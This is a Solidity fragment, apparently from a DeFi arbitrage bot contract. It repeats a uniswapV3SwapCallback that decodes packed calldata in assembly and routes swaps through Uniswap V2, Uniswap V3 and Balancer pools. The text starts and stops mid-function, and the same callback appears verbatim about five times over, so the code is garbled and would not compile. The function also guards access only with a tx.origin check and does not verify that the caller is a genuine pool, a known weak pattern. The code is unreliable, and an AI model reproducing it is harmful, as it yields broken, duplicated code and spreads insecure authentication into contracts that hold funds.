let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
